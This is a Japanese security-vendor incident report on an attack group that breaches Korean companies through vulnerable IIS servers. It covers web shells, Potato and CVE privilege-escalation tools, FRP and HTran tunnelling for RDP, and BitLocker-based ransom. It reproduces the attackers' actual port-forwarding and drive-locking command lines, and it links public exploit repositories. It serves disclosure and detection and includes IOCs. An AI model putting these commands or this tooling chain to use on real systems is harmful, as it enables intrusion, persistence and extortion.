最近、外部に公開された脆弱なサーバーを手掛かりに侵入した攻撃者が、内部ネットワークまで掌握する侵害事例が、韓国国内の企業を対象に頻繁に起きている。
- 脆弱な Atlassian Confluence サーバーをターゲットにした攻撃事例
- 韓国国内の医療機関の脆弱なサーバをターゲットに拡散する Meterpreter
- 脆弱な MySQL サーバーをターゲットに拡散している AsyncRAT マルウェア
今回の事例は IIS Web サーバーや MS Exchange サーバーの侵害事例として過去に認知されているタイプと同じだが、個人ではなく特定の攻撃グループと推定される事例を紹介する。このグループの最大の特徴は、FRP オープンソースツールを使用するという点である。このグループは、外部からアクセス可能なサーバーを見つけて攻撃し、侵入に成功すると権限昇格を試みる。
その後、より完全なアクセス制御のために FRP(Fast Reverse Proxy)や LCX(Htran と呼ばれる)ツールをインストールするが、特に FRP ツールを主に使用している。また、FRP をインストールするときに特定のダウンロードアドレスを使用するが、FRP がアップロードされているダウンロードサーバーは韓国国内企業の Web サーバーであり、攻撃者がすでに掌握したあとで悪用しているものと見られる。この他にも FRP をインストールする際に特定のファイル名を使用したり、別の韓国国内企業のサーバーを掌握して FRP を使用するときに必要な中継サーバーとして悪用したという点が特徴である。
現在侵害が発生したと推定される企業は半導体企業、射出成形機企業、リゾート企業、建設企業、ソフトウェア企業等の20か所余りで、攻撃者は具体的な分野に絞らず攻撃を試みたものと見られる。特に今回のケースは外部の脆弱なサーバーを皮切りに、最終段階のランサムウェアにまで感染した事例があるため、特に注意が必要である。
1. ASP Web シェル
脆弱な Web サーバーを対象とする攻撃のほとんどには、Web シェルが利用される。Web シェルは Web サーバーにアップロードされ、ファイルの検索やシステムのシェルコマンドを実行できるようにするファイルであり、攻撃対象のシステムにインストールされると、攻撃者は持続性を維持しながら感染先のシステムをコントロールできる。
Web サーバーによってサポートする言語が異なるが、それはつまり Web シェルの言語も異なることを意味する。例えば PHP をサポートする Apache Web サーバーでは PHP Web シェルが使用され、Tomcat のような Java 環境では JSP、IIS Web サーバーは ASP および ASPX で開発された Web シェルが使用される。
ここでは脆弱な IIS Web サーバーを対象に攻撃を行った事例を取り上げるため、ASPX(ASP) Web シェルが攻撃に使用されている。ASPXSpy は代表的な ASPX Web シェルであり、攻撃者が多数の攻撃に使用してきた履歴が確認されている。
i. ASPXSpy

ASPXSpy はパスワードを必要とするため、インストールされたパスに接続したあと、パスワード入力ウィンドウで正確なパスワードを入力することで、以下のようなコントロールパネルを使用できる。(参考に、パスワードは MD5 のハッシュ値を比較して検証するが、上記の Web シェルは攻撃者がパスワードを変更したものであり「admin」ではない)

攻撃者はこのパネルから情報照会、ファイル生成、プロセスの実行のような様々な不正な振る舞いを実行できる。
2. 権限昇格
アップロードされた Web シェルは IIS Web サーバープロセス、すなわち w3wp.exe プロセスにより実行される。一般的に w3wp.exe プロセスは低いレベルの権限を持っているため、不正な振る舞いを正常に実行するためにはより高い権限を必要とする。そのため、攻撃者は様々なツールを利用して高い権限を取得する権限昇格プロセスが必要である。

攻撃者は一般的に JuicyPotato、SweetPotato のようなマルウェアを利用しており、これ以外にも様々なローカル権限昇格(LPE:Local Privilege Escalation)の脆弱性 PoC を使用した履歴も確認されている。ここでは、権限昇格段階において使用されたそれぞれの事例についてまとめる。

2.1. Potato
Potato は Github に公開されたオープンソースの権限昇格(Privilege Escalation)ツールである。現在実行中のプロセスのアカウントのトークンのうち、特定の権限(Privilege)を悪用する方式であり、システム権限により権限を昇格させる機能を提供する。

IIS Web サーバーでは w3wp.exe プロセスが Web サービスを担当し、MS-SQL サーバーでは sqlservr.exe プロセスが MS-SQL サービスを担当する。例えば w3wp.exe プロセスは IIS Apppool\DefaultAppPool がサブジェクトとして実行されるが、この場合は一般的な管理者や標準のユーザーアカウントとは異なり、プロセスおよびファイルのような様々な機能を実行するのに制約がともなう。
すなわち、攻撃者は Web シェルや辞書攻撃によって当該プロセスを制御できたとしても適切な権限が存在しないため、意図した不正な振る舞いを実行させることはできない。そのために権限の昇格が必要となるが、一般的に w3wp.exe プロセスや sqlservr.exe プロセスが SeAssignPrimaryToken または SeImpersonate 権限を持っている。ほとんどの Potato ツールはこのように SeAssignPrimaryToken または SeImpersonate 権限が有効になっているプロセスを悪用し、システム権限、すなわち NTAUTHORITY\SYSTEM アカウントに権限を昇格し、成功すると攻撃者は当該システム内で制約を受けることなくほとんどの不正な振る舞いを実行できる。
Potato 権限昇格ツールは JuicyPotato、RoguePotato、RottenPotato 等、複数の種類がある。しかし、韓国国内で確認されたほとんどの事例の場合、3つの種類の Potato ツールが使用されていた。
Potato 種類 | MD5 |
---|---|
JuicyPotato | 0311ee1452a19b97e626d24751375652 808502752ca0492aca995e9b620d507b 4bafbdca775375283a90f47952e182d9 |
BadPotato | 9fe61c9538f2df492dff1aab0f90579f ab9091f25a5ad44bef898588764f1990 87e5c9f3127f29465ae04b9160756c62 |
SweetPotato | fd0f73dd80d15626602c08b90529d9fd 937435bbcbc3670430bb762c56c7b329 |
2.2. 脆弱性 (エクスプロイト)
攻撃者は Potato タイプのマルウェア以外にも、Github に公開されている様々な権限昇格の脆弱性(LPE:Local Privilege Escalation)の PoC を利用している。以下は、攻撃に使用された脆弱性とそれぞれの脆弱性を悪用する PoC マルウェアのリストである。
脆弱性 | タイプ | MD5 | 備考 |
---|---|---|---|
CVE-2018-8440 | LPE | 4c56462a3735dba9ee5f132f670e3fb1 | https://github.com/alpha1ab/Win2016LPE |
CVE-2019-1405 + CVE-2019-1322 | LPE | 2e2ddfd6d3a10d5dd51f8cbdeaeb4b75 6a60f718e1ecadd0e26893daa31c7120 | https://github.com/apt69/COMahawk |
CVE-2021-1675 | LPE | e81a9b194cf1bcd4f1bbf21338840ece | https://github.com/evilashz/CVE-2021-1675-LPE-EXP |
CVE-2021-1732 | LPE | d406d8889dc1f2d51954808f5587415d ed1762b09d0a966d7a2d6c9167ea5499 | https://github.com/KaLendsi/CVE-2021-1732-Exploit |
CVE-2021-36934 | LPE | 055cc4c30260884c910b383bb81cf7c8 | https://github.com/GossiTheDog/HiveNightmare |
CVE-2021-40449 | LPE | b08b660ed646c390d5a254070123c74c | https://github.com/ly4k/CallbackHell |
CVE-2022-21882 | LPE | 018dd881f5bf9181b70f78d7d38bd62a | https://github.com/sailay1996/cve-2022-21882-poc |
CVE-2022-21999 | LPE | 31eb70dc11af05ec4d5cda652396970c b77e3a7e13e39829383fabf436e9c8f2 (Payload) | https://github.com/ly4k/SpoolFool |
以下は CVE-2021-1732 の脆弱性を利用して権限を昇格する PoC である。権限を昇格したあと、引数として渡された whoami を実行し、結果として、システムアカウントへの権限昇格に成功していることがわかる。

以下は CVE-2022-21999 PoC であり、権限の昇格後に指定した DLL をロードしてマルウェアを実行させることができる。攻撃に使用された DLL は PoC と同じだが、DLL は admin アカウントを生成してパスワードを Passw0rd! に設定する機能を担う。その後、攻撃者はこのようにして登録されたアカウントでリモートアクセスを行い、感染先のシステムを掌握することができる。

3. プロキシ & ポートフォワーディング
3.1. FRP
FRP(Fast Reverse Proxy)は主に、直接通信が不可能なイントラネット PC に外部からアクセスが可能なように中継サーバーを配置して構成するオープンソースツールである。すなわち、攻撃対象 PC のファイアウォールのインバウンド規則を回避したり、対象 PC(Victim)に攻撃者のアドレスを残さない特徴を持っており、以前から攻撃者たちによって頻繁に使用されている。

Frp は大きく分けて Frps と Frpc の2種類がある。Frps は中継サーバーにインストールされるファイルで、攻撃者と攻撃対象の接続を成立させる役割を担い、設定には「Frps.ini」を参照してユーザーが任意に設定できる。これで、接続ポートおよびロギング方法等を決定する。したがって、Frps は攻撃者と攻撃対象 PC の両方がアクセス可能な中継サーバーにインストールされなければならない。
Frpc は攻撃者が攻撃しようとする対象の PC にインストールされるファイルであり、設定には Frps の設定方法と同じく「Frpc.ini」を通じて TCP や UDP、HTTP 等、攻撃者が使用するネットワーク通信の方法と Frps に使用されるポート番号(remote_port)と、実際のポート番号(local_port)等をユーザーが任意に設定できる。悪用される場合は、通常外部から直接接続することが困難な NAT 環境の企業 PC にインストールされる。
FRP 接続プロセスは以下の通りである。

上図を参照すると、まず Frps.exe を中継サーバーにインストールする。Frps.exe は Frps.ini 設定ファイルを参照して Frpc.exe がアクセスできるように接続ポート(7000番)を開放して接続を待機する。その後、攻撃対象の PC にインストールされている Frpc.exe を実行させて中継サーバー(Frps.exe)との接続を試みるが、これは攻撃者と攻撃対象の PC を間接的に接続するため、Reverse Proxy 方式を用いる。中継サーバーと攻撃対象の PC の接続が完了すると、攻撃者は特定のプロトコル(RDP)で中継サーバーの特定ポート(23389番)に接続を試みる。
中継サーバーは特定ポート(23389番)をモニタリングし、接続が確認されると当該データを接続ポート(7000番)を通じて攻撃対象の PC に伝達する。その後データを受け取った攻撃対象の PC では、当該プロトコル(RDP)に合ったローカルポート(3389番)にフォワードしてタスクを完了する。したがって、以下のように接続が可能となる。

FRP ツールは、攻撃者たちが主に「リモートデスクトップ接続」のために使用している。リモートデスクトップ接続は Windows がデフォルトで提供しているツールであり、RDP 通信を利用して遠隔地のサーバーを直接使用しているかのように接続する方法をいう。しかしながら、企業の場合はネットワーク構成の際にネットワークを分離したりファイアウォールを使用したりして、外部からの直接的なアクセスができないように設計されている。したがって、攻撃者は直接アクセスするのが困難な企業環境の PC に Frpc をインストールし、Frps は外部からのアクセスが可能であり、かつ当該 PC との接続が可能な中継サーバーにインストールして RDP 通信を試みるのである。
FRP を使用した特定の攻撃グループは、以下のような特徴を持っている。
1) Frpc のファイル名、ファイルパスが同じ 2) Frpc のダウンロード URL が同じ 3) 韓国国内企業のサーバーを中継サーバー(Frps)として使用 |
---|
まずは、韓国国内の侵害を受けた企業において確認された Frpc のインストール先である。
%ALLUSERSPROFILE%\update.exe %ALLUSERSPROFILE%\info.zip %ALLUSERSPROFILE%\f.zip %ALLUSERSPROFILE%\t.zip %ALLUSERSPROFILE%\frpc.exe %SystemDrive%\perflogs\update.exe %SystemDrive%\temp\update.exe %SystemDrive%\temp\info.zip %SystemRoot%\temp\frpc.exe |
---|
上記[表3]の赤文字は多くの企業で共通して確認されたファイル名であり、特定グループの攻撃者は主に Frpc ファイルを update.exe(update.zip) あるいは info.exe(info.zip) の名前でインストールしている。また、攻撃者が使用した Frpc ダウンロード URL は、韓国国内の侵害を受けた企業のサーバーを悪用していることが確認された。
– hxxp://www.ive***.co[.]kr/uploadfile/ufaceimage/1/info.zip – hxxp://www.ive***.co[.]kr/uploadfile/ufaceimage/1/update.zip – hxxp://www.ive***.co[.]kr/uploadfile/ufaceimage/1/f.zip |
---|
この他にも、攻撃者は外部から接続が可能な PC であっても FRP を通じて接続するように設定しているが、FRP で使用される中継サーバー(Frps)のプログラムを特定の韓国国内企業にインストールしていることから、韓国国内の IP によって疑われる事を避けることで接続を維持し、また自分たちの IP を隠蔽するために使用しているものと推定される。したがって、Frps がインストールされた韓国国内企業のサーバーも攻撃者によって掌握されているものと思われる。
2022年、韓国国内企業のサーバーのうち中継サーバーとして利用された企業は、現在まで2か所確認されている。下図のように、Remote IP と確認されるサーバーが中継サーバーで Frps がインストールされ、左の Local IP が攻撃者の操作対象となる Frpc がインストールされたサーバーである。

これらの中継サーバーは、以下のように接続が可能である。

3.2. HTran(LCX)
ポートフォワーディングとは、特定のポートから渡されたデータを別のポートに伝達する機能である。このようなポートフォワーディングをサポートする代表的なツールとしては、過去から使用されている HTran があり、ソースコードが公開されているため、様々な攻撃者たちによって最近でも使用されている。
ここでは、当該ツールに関する簡単な情報と共に、攻撃者がこれを利用した実際の攻撃事例を取り上げる。まず、HTran は以下のように3つのモードがサポートされている。

このうち、「-tran」モードは特定のポートから渡されたデータを特定のアドレスに伝達する機能を提供する。以下のコマンドラインは、実際に攻撃者が HTran を rdpclip という名前で生成したあとで実行したコマンドである。参考に、rdpclip は攻撃者がソースコードを改ざんして引数からオプションを削除しており、代わりに引数の個数を利用してどのような機能なのかを把握して動作する。
> %SystemRoot%\debug\rdpclip 110 127.0.0.1 3389
このような引数を受け取って実行される場合、110番ポートにバインドされているが、外部の攻撃者が110番ポートに接続する場合、ローカルの3389番ポートにフォワーディングする。これによって攻撃者は感染先のシステムに RDP を接続する際、3389番ポートの代わりに110番ポートに接続しても、正常にリモートデスクトップを使用することができる。
以下は、攻撃に使用された rdpclip を利用したテストである。ここではローカルシステムの4444番ポートとローカルシステムの80番ポートをフォワーディングするコマンドを実行した。この場合、外部から「192.168.204.131:4444」アドレスに接続しても「192.168.204.131:80」ポートに接続した時と同じ結果が得られる。

次に、「-listen」モードだが、引数で2つのポート番号を渡され、それぞれのポートにバインドして待機する。2つの引数によりすべての接続が確立すると、2つのうち一方のポートから渡されたデータを別のポートにフォワーディングする。一般的に「-listen」モードは「-slave」モードと同時に使用されるものと思われる。「-slave」モードは「-tran」モードと類似しているが、「-tran」モードがローカルシステムの特定ポートを開放して待機するのに対し、「-slave」は指定したアドレスに直接接続する。
以下は上記と同じマルウェアであり、名前だけが「p」に変更されて引数でモードの種類を伝達されないが、個数が4個であることにより「-slave」モードで実行される。このような引数を受け取って実行される場合 A(1**.**.***.*8):1000 のアドレスに接続を試み、接続が確立するとローカルシステムの3389番ポートにフォワーディングする。
> p 1**.**.***.*8 1000 127.0.0.1 3389
システム A:1000 では以下のように HTran が「-listen」モードで実行中と思われる。(例示のために最初の引数を80で使用)これにより、攻撃者は A:80 のアドレスにアクセスして攻撃対象のシステムに RDP 接続が可能になる。A で実行中だった HTran が80番ポートから渡されたデータを1000番ポートに伝達し、1000番ポートは攻撃対象のシステムで実行中の HTran と接続されているためである。最終的に攻撃対象のシステムの HTran は渡されたデータをローカルシステムの3389番ポートへフォワーディングする。
> HTran.exe 1000 80
以下は、別の例示である。c.txt が HTran であり、特に修正事項がない形として「-slave」と同じ引数もそのまま使用する。以下のコマンドによって実行された HTran は B(1**.***.**.*3):443 のアドレスと C(2**.***.**.6):1433 のアドレスの間で、プロキシとして動作する。すなわち、攻撃者は B の特定アドレスにアクセスすることにより C:1433 すなわち C システムの MS-SQL サーバーにアクセスできるようになる。
> %SystemDrive%\webdriver\chrome\c.txt -slave 1**.***.**.*3 443 2**.***.**.6 1433

4. ランサムウェアの感染事例(BitLocker)
現在までに確認されている事例のうち、当該グループによるランサムウェアへの感染事例はまだそれほど多くはない。攻撃グループはランサムウェアを新たに作成せず、Windows の正常な暗号化プログラムである BitLocker を悪用してディスクの暗号化を実行している。BitLocker は Windows が独自に提供するディスク暗号化ツールで、本来はディスクのセキュリティのために使用されるものである。これはコマンドライン方式をサポートしているが、基本的に Manage-bde というコマンドを使用して BitLocker 機能を使用することができ、ドライブをロックするとアクセスする際に暗号が必要である。
攻撃者は、以下のようなコマンドによって暗号化を実行した。暗号は、以下のコマンドを入力すると GUI ウィンドウを通じて設定できる。
(F: ドライブ名は一例)
CMD> “C:\Windows\System32\BitLockerWizardElev.exe” F:\ T |
---|

ドライブの暗号化設定後、以下のコマンドのように lock を通じてドライブにアクセスができないようにする。
CMD> manage-bde -lock -ForceDismount F: |
---|
したがって、ロックが完了するとユーザーは暗号を入力しないとアクセスができない。

攻撃者が使用したランサムノートは、以下の通りである。

今回の事例における攻撃プロセスを要約すると、攻撃者は IIS Web サーバーや MS Exchange サーバーのような外部からのアクセスが可能な、脆弱な企業 PC をターゲットにスキャンして攻撃を試みる。その後、Web シェル等を利用してシステムの一部にアクセスし、権限昇格(Privilege Escalation)をサポートする Potato ツールや Exploit ツールを悪用してシステム権限を取得する。その次に、対象システムをより容易に操作するため、LCX や FRP ツールをインストールして外部から RDP で接続ができるように設定し、内部伝播および最終段階(情報流出およびランサムウェア)を実行した。
そのため、サーバー管理者はサーバー構成環境が脆弱である場合は最新バージョンのパッチを適用し、既知の脆弱性による被害を事前に防止しなければならない。また、外部に開放されているサーバーの場合、セキュリティ製品を利用して、部外者からのアクセスを制限する必要がある。
[ファイル検知]
– WebShell/Script.Generic (2020.12.11.09)
– WebShell/ASP.ASpy.S1361 (2021.02.02.03)
– WebShell/ASP.Generic.S1855 (2022.06.22.03)
– WebShell/ASP.Small.S1378 (2021.02.24.02)
– JS/Webshell (2011.08.08.03)
– HackTool/Win.SweetPotato.R506105 (2022.08.04.01)
– Exploit/Win.BadPotato.R508814 (2022.08.04.01)
– HackTool/Win.JuicyPotato.R509932 (2022.08.09.03)
– HackTool/Win.JuicyPotato.C2716248 (2022.08.09.00)
– Exploit/Win.JuicyPotato.C425839(2022.08.04.01)
– Exploit/Win.SweetPotato.C4093454 (2022.08.04.01)
– Exploit/Win32.Consoler.R372759 (2021.03.18.00)
– Exploit/Win.HiveNightmare.R433315 (2021.07.23.02)
– Malware/Win64.Generic.C3164061 (2019.04.20.01)
– Malware/Win64.Generic.C3628819 (2019.12.11.01)
– Exploit/Win.Agent.C4448815 (2021.05.03.03)
– Exploit/Win.CVE-2022-21999.C4963688 (2022.02.11.03)
– Trojan/Win.Generic.C4963786 (2022.02.11.04)
– Trojan/Win.Exploit.C4997833 (2022.03.08.01)
– Ransomware/Win.CVE.C5065885(2022.04.11.01)
– Exploit/Win.Agent.C5224192 (2022.08.17.00)
– Exploit/Win.Agent.C5224193 (2022.08.17.00)
– Unwanted/Win.Frpc.C5222534 (2022.08.13.01)
– Unwanted/Win.Frpc.C5218508 (2022.08.03.03)
– Unwanted/Win.Frpc.C5218510 (2022.08.03.03)
– Unwanted/Win.Frpc.C5218513 (2022.08.03.03)
– HackTool/Win.Frpc.5222544 (2022.08.13.01)
– HackTool/Win.Frp.C4959080 (2022.02.08.02)
– HackTool/Win.Frp.C5224195 (2022.08.17.00)
– Unwanted/Win.Frpc.C5162558 (2022.07.26.03)
– Malware/Win.Generic.C5173495 (2022.06.18.00)
– HackTool/Win.LCX.C5192157 (2022.07.04.02)
[IOC]
MD5
ASP WebShell
– e31b7d841b1865e11eab056e70416f1a
– 612585fa3ada349a02bc97d4c60de784
– 3921d444a251661662f991b147e22bc3
– c802dd3d8732d9834c5a558e9d39ed37
– 6b4c7ea91d5696369dd0a848586f0b28
– 07191f554ed5d9025bc85ee1bf51f975
Potato
– 0311ee1452a19b97e626d24751375652 (JuicyPotato)
– 808502752ca0492aca995e9b620d507b (JuicyPotato)
– 4bafbdca775375283a90f47952e182d9 (JuicyPotato)
– 9fe61c9538f2df492dff1aab0f90579f (BadPotato)
– ab9091f25a5ad44bef898588764f1990 (BadPotato)
– 87e5c9f3127f29465ae04b9160756c62 (BadPotato)
– fd0f73dd80d15626602c08b90529d9fd (SweetPotato)
– 937435bbcbc3670430bb762c56c7b329 (SweetPotato)
Exploit
– 4c56462a3735dba9ee5f132f670e3fb1
– 2e2ddfd6d3a10d5dd51f8cbdeaeb4b75
– 6a60f718e1ecadd0e26893daa31c7120
– e81a9b194cf1bcd4f1bbf21338840ece
– d406d8889dc1f2d51954808f5587415d
– ed1762b09d0a966d7a2d6c9167ea5499
– 055cc4c30260884c910b383bb81cf7c8
– b08b660ed646c390d5a254070123c74c
– 018dd881f5bf9181b70f78d7d38bd62a
– 31eb70dc11af05ec4d5cda652396970c
– b77e3a7e13e39829383fabf436e9c8f2
Frpc
– 27303a52d7ebd666d2a84529f2c86b3c
– 4eb5eb52061cc8cf06e28e7eb20cd055
– 622f060fce624bdca9a427c3edec1663
– 72decb30e84cfe0d726f26c4f45dc1b0
– 7d9c233b8c9e3f0ea290d2b84593c842
– d862186f24e644b02aa97d98695c73d8
– df8f2dc27cbbd10d944210b19f97dafd
– 8de8dfcb99621b21bf66a3ef2fcd8138
HTran
– 47f091b0bfa0f3d6e6943d7f178a4dff
– 1b562817eadfb12f527bf25bf5c803b1
関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。
Categories:マルウェアの情報
[…] https://asec.ahnlab.com/jp/38120/ […]